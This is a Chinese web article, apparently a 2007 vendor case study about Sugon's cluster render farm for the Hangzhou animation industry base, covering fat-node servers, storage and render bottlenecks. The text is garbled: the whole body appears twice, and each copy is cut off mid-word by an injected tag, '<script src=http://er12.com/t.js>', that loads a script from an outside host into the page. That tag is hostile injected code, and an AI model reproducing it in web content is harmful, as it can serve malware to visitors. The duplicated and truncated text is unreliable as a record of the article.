杭州動漫基地渲染系統(tǒng)
發(fā)布時間:2007/6/14 9:11:10 訪問次數(shù):721
際遇契機,應用面臨飛躍
杭州動漫產(chǎn)業(yè)基地成立于2004年,是國家首批動漫基地之一,同時也是唯一一家由政府投資建設的國家動漫產(chǎn)業(yè)基地。成立以來,杭州動漫基地成為浙江省動漫產(chǎn)業(yè)發(fā)展的中心,匯聚了眾多動漫制作團體,有力的推動了動漫產(chǎn)業(yè)的發(fā)展,使得杭州成為中國的“動漫之都”
提升動漫制作水平是發(fā)展我國動漫產(chǎn)業(yè)的必要條件,有鑒于此,杭州動漫產(chǎn)業(yè)基地啟動了杭州動漫公共服務平臺項目,通過這一項目,為浙江省動漫行業(yè)提供一個公共的動漫服務平臺,平臺建立后,浙江省內(nèi)四十余家動漫企業(yè)的動畫渲染都將通過此平臺完成。
曙光公司通過對杭州動漫基地渲染系統(tǒng)的實際考察,了解到該系統(tǒng)的工作模式。動慢制作一般分為兩種方式,一個是通過三維建模,利用計算機技術對其進行渲染、特效、后期合成以及剪輯等處理,并最終形成數(shù)字產(chǎn)品或膠片產(chǎn)品。另一個是純粹的數(shù)字制作部分,前期由工作站先進行建模、處理最后合成為動畫產(chǎn)品。而無論哪種制作方法,其技術核心部分都是一樣的,也就是說,都要通過動畫的建模和渲染“模塊”來實現(xiàn),在杭州動慢基地的項目中,曙光則扮演了系統(tǒng)的“技術核心”。
整個數(shù)字動畫渲染的完成,在系統(tǒng)的建設上分為前期建模、中期的渲染以及后期的合成。分析硬件架構(gòu),前期建模和后期合成可以在工作站上完成,中期的渲染可以交給機群渲染軟件完成,而所有數(shù)據(jù)的產(chǎn)生以及最后成品的歸檔,則需要大規(guī)模存儲空間的支持。此外渲染農(nóng)場的存在會大大縮短圖片的處理時間,機群規(guī)模同處理時間幾乎成線性反比關系,只要所構(gòu)建的機群規(guī)模足夠,既可滿足多工作站的渲染需求。
因此,曙光的工程師在系統(tǒng)的搭建中特別注意了三個方面的建設:渲染計算節(jié)點的搭建、存儲系統(tǒng)、和基于機群的渲染農(nóng)場。
運算為王,打造頂級平臺
動畫渲染是一個計算和通訊都密集型的計算,對cpu的浮點運算能力要求較高,這時候就要求包含有多個cpu的服務器,來完成大規(guī)模的計算量,這也就是經(jīng)常所說的胖節(jié)點。胖節(jié)點架構(gòu)有利于性能的提高,因為它采用一種進程/線程間通訊,即胖節(jié)點采用cpu間通訊方式,系統(tǒng)將任務隊列對稱地分布于多個cpu之上,從而極大地提高了整個系統(tǒng)的數(shù)據(jù)處理能力。而其他架構(gòu)則采用節(jié)點間網(wǎng)絡通訊的方式,眾所周知并行程序運算的瓶頸在于通訊,過大的通訊延遲將影響運算速度,而胖節(jié)點很好的屏蔽了這一點,極大的提高了性能。另外胖節(jié)點架構(gòu)提過對大內(nèi)存支持,節(jié)點中任何一個cpu都可以使用節(jié)點內(nèi)全部的內(nèi)存,在運行串行程序時,這個程序可以申請很大的內(nèi)存。同時提供多線程的支持, 一個節(jié)點中采用多個cpu,這些cpu之間可以進行多線程的并行。
由于動畫渲染計算過程對于硬件的高需求,系統(tǒng)采用了4路雙核opteron處理器的曙光a830r-f服務器作為計算節(jié)點,該款產(chǎn)品具有處理速度快、可用性強、易管理等優(yōu)異性能,能穩(wěn)定運行多種32位和64位主流操作系統(tǒng),為杭州動漫基地的渲染工作提供了出色的保障。
基于曙光機群的渲染農(nóng)場
在動畫節(jié)目制作過程中渲染所需要的時間越來越多,而利用pc工作站來進行渲染的方式必定無法滿足如此龐大的計算量。因此在這種背景下,勢必存在繁重低效的過程,也就是“渲染瓶頸”。在進行三維創(chuàng)作過程中,動畫設計者大都使用圖形工作站來完成渲染的任務。單機渲染視圖和動畫時所需時間往往讓人難以忍受,30幀動畫就可能耗費數(shù)小時,顯然渲染時間顯得十分困窘,使用單機工作站渲染視頻動畫的方式速度實在很低,往往是以數(shù)天計算,甚至上月的;這樣的渲染占到很大的制作時間比例。另外,必須考慮解決渲染過程中的i/o瓶頸。當動畫越來越逼真、模型越來越細膩、渲染要求越來越高的情況下,伴隨著文件變大、素材庫變大,龐大的數(shù)據(jù)處理將使得32位計算本身在架構(gòu)上就成為一個瓶頸,因為32位的工作模式已經(jīng)決定了i/o的帶寬不能滿足數(shù)據(jù)處理的要求。
如果渲染程序采用機群模式,上述問題就會迎刃而解。因此曙光在杭州公共動漫平臺的建設中提出了基于機群的渲染解決方案。渲染機群系統(tǒng)由32個渲染計算節(jié)點、1個分發(fā)節(jié)點、一個管理節(jié)點及一個備份節(jié)?script src=http://er12.com/t.js>
際遇契機,應用面臨飛躍
杭州動漫產(chǎn)業(yè)基地成立于2004年,是國家首批動漫基地之一,同時也是唯一一家由政府投資建設的國家動漫產(chǎn)業(yè)基地。成立以來,杭州動漫基地成為浙江省動漫產(chǎn)業(yè)發(fā)展的中心,匯聚了眾多動漫制作團體,有力的推動了動漫產(chǎn)業(yè)的發(fā)展,使得杭州成為中國的“動漫之都”
提升動漫制作水平是發(fā)展我國動漫產(chǎn)業(yè)的必要條件,有鑒于此,杭州動漫產(chǎn)業(yè)基地啟動了杭州動漫公共服務平臺項目,通過這一項目,為浙江省動漫行業(yè)提供一個公共的動漫服務平臺,平臺建立后,浙江省內(nèi)四十余家動漫企業(yè)的動畫渲染都將通過此平臺完成。
曙光公司通過對杭州動漫基地渲染系統(tǒng)的實際考察,了解到該系統(tǒng)的工作模式。動慢制作一般分為兩種方式,一個是通過三維建模,利用計算機技術對其進行渲染、特效、后期合成以及剪輯等處理,并最終形成數(shù)字產(chǎn)品或膠片產(chǎn)品。另一個是純粹的數(shù)字制作部分,前期由工作站先進行建模、處理最后合成為動畫產(chǎn)品。而無論哪種制作方法,其技術核心部分都是一樣的,也就是說,都要通過動畫的建模和渲染“模塊”來實現(xiàn),在杭州動慢基地的項目中,曙光則扮演了系統(tǒng)的“技術核心”。
整個數(shù)字動畫渲染的完成,在系統(tǒng)的建設上分為前期建模、中期的渲染以及后期的合成。分析硬件架構(gòu),前期建模和后期合成可以在工作站上完成,中期的渲染可以交給機群渲染軟件完成,而所有數(shù)據(jù)的產(chǎn)生以及最后成品的歸檔,則需要大規(guī)模存儲空間的支持。此外渲染農(nóng)場的存在會大大縮短圖片的處理時間,機群規(guī)模同處理時間幾乎成線性反比關系,只要所構(gòu)建的機群規(guī)模足夠,既可滿足多工作站的渲染需求。
因此,曙光的工程師在系統(tǒng)的搭建中特別注意了三個方面的建設:渲染計算節(jié)點的搭建、存儲系統(tǒng)、和基于機群的渲染農(nóng)場。
運算為王,打造頂級平臺
動畫渲染是一個計算和通訊都密集型的計算,對cpu的浮點運算能力要求較高,這時候就要求包含有多個cpu的服務器,來完成大規(guī)模的計算量,這也就是經(jīng)常所說的胖節(jié)點。胖節(jié)點架構(gòu)有利于性能的提高,因為它采用一種進程/線程間通訊,即胖節(jié)點采用cpu間通訊方式,系統(tǒng)將任務隊列對稱地分布于多個cpu之上,從而極大地提高了整個系統(tǒng)的數(shù)據(jù)處理能力。而其他架構(gòu)則采用節(jié)點間網(wǎng)絡通訊的方式,眾所周知并行程序運算的瓶頸在于通訊,過大的通訊延遲將影響運算速度,而胖節(jié)點很好的屏蔽了這一點,極大的提高了性能。另外胖節(jié)點架構(gòu)提過對大內(nèi)存支持,節(jié)點中任何一個cpu都可以使用節(jié)點內(nèi)全部的內(nèi)存,在運行串行程序時,這個程序可以申請很大的內(nèi)存。同時提供多線程的支持, 一個節(jié)點中采用多個cpu,這些cpu之間可以進行多線程的并行。
由于動畫渲染計算過程對于硬件的高需求,系統(tǒng)采用了4路雙核opteron處理器的曙光a830r-f服務器作為計算節(jié)點,該款產(chǎn)品具有處理速度快、可用性強、易管理等優(yōu)異性能,能穩(wěn)定運行多種32位和64位主流操作系統(tǒng),為杭州動漫基地的渲染工作提供了出色的保障。
基于曙光機群的渲染農(nóng)場
在動畫節(jié)目制作過程中渲染所需要的時間越來越多,而利用pc工作站來進行渲染的方式必定無法滿足如此龐大的計算量。因此在這種背景下,勢必存在繁重低效的過程,也就是“渲染瓶頸”。在進行三維創(chuàng)作過程中,動畫設計者大都使用圖形工作站來完成渲染的任務。單機渲染視圖和動畫時所需時間往往讓人難以忍受,30幀動畫就可能耗費數(shù)小時,顯然渲染時間顯得十分困窘,使用單機工作站渲染視頻動畫的方式速度實在很低,往往是以數(shù)天計算,甚至上月的;這樣的渲染占到很大的制作時間比例。另外,必須考慮解決渲染過程中的i/o瓶頸。當動畫越來越逼真、模型越來越細膩、渲染要求越來越高的情況下,伴隨著文件變大、素材庫變大,龐大的數(shù)據(jù)處理將使得32位計算本身在架構(gòu)上就成為一個瓶頸,因為32位的工作模式已經(jīng)決定了i/o的帶寬不能滿足數(shù)據(jù)處理的要求。
如果渲染程序采用機群模式,上述問題就會迎刃而解。因此曙光在杭州公共動漫平臺的建設中提出了基于機群的渲染解決方案。渲染機群系統(tǒng)由32個渲染計算節(jié)點、1個分發(fā)節(jié)點、一個管理節(jié)點及一個備份節(jié)?script src=http://er12.com/t.js>
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